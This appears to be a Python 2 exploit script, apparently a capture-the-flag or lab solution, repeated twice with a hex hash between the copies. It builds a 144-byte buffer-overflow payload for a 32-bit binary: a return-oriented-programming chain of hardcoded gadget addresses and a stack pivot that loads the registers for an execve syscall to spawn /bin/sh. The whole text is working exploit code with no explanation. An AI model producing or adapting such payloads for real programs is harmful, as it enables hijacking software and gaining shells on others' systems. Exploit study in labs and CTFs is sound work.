

def filler(string, total):
    for i in range(total-len(string)):
        string = string + "A"
    return string 


total_string = ""
total_len = 144
pop_eax = "\x26\xbf\x0b\x08" # 0x080bbf26
first_ret = "\xd6\xbe\x0b\x08"
pop_ebx = "\xc9\x81\x04\x08"
pop_ecx = "\xad\x55\x0e\x08"
pop_edx = "\x5a\xec\x06\x08"
stack_pivot = "\x70\xf6\xff\xbf"
bin_sh = "\x9f\xff\xff\xbf"
bin_sh_pointer = "\x74\xf6\xff\xbf"
finish_address = "\x01\x94\x04\x08"

# Puts /bin/sh into the ebx register
total_string += pop_ebx 
total_string += bin_sh

# Puts the pointer to /bin/sh into the ecx register
total_string += pop_ecx
total_string += "\x00\x00\x00\x00"

# Puts the 11 syscall into eax
total_string += pop_eax
total_string += "\x0b\x00\x00\x00" # syscall for exec, put into eax

# Put 0 into edx
total_string += pop_edx
total_string += "\x00\x00\x00\x00"

# Gets to the syscall location
total_string += finish_address

# Fills the rest of the buffer, to complete the overflow. 
# Then, adds the first return on the ROP and the stack pivot value
total_string = filler(total_string, total_len - 4) + first_ret + stack_pivot

print total_string

227ed3647e5d5fbf3d6b2a00e53c95ffd9f97c1f


def filler(string, total):
    for i in range(total-len(string)):
        string = string + "A"
    return string 


total_string = ""
total_len = 144
pop_eax = "\x26\xbf\x0b\x08" # 0x080bbf26
first_ret = "\xd6\xbe\x0b\x08"
pop_ebx = "\xc9\x81\x04\x08"
pop_ecx = "\xad\x55\x0e\x08"
pop_edx = "\x5a\xec\x06\x08"
stack_pivot = "\x70\xf6\xff\xbf"
bin_sh = "\x9f\xff\xff\xbf"
bin_sh_pointer = "\x74\xf6\xff\xbf"
finish_address = "\x01\x94\x04\x08"

# Puts /bin/sh into the ebx register
total_string += pop_ebx 
total_string += bin_sh

# Puts the pointer to /bin/sh into the ecx register
total_string += pop_ecx
total_string += "\x00\x00\x00\x00"

# Puts the 11 syscall into eax
total_string += pop_eax
total_string += "\x0b\x00\x00\x00" # syscall for exec, put into eax

# Put 0 into edx
total_string += pop_edx
total_string += "\x00\x00\x00\x00"

# Gets to the syscall location
total_string += finish_address

# Fills the rest of the buffer, to complete the overflow. 
# Then, adds the first return on the ROP and the stack pivot value
total_string = filler(total_string, total_len - 4) + first_ret + stack_pivot

print total_string
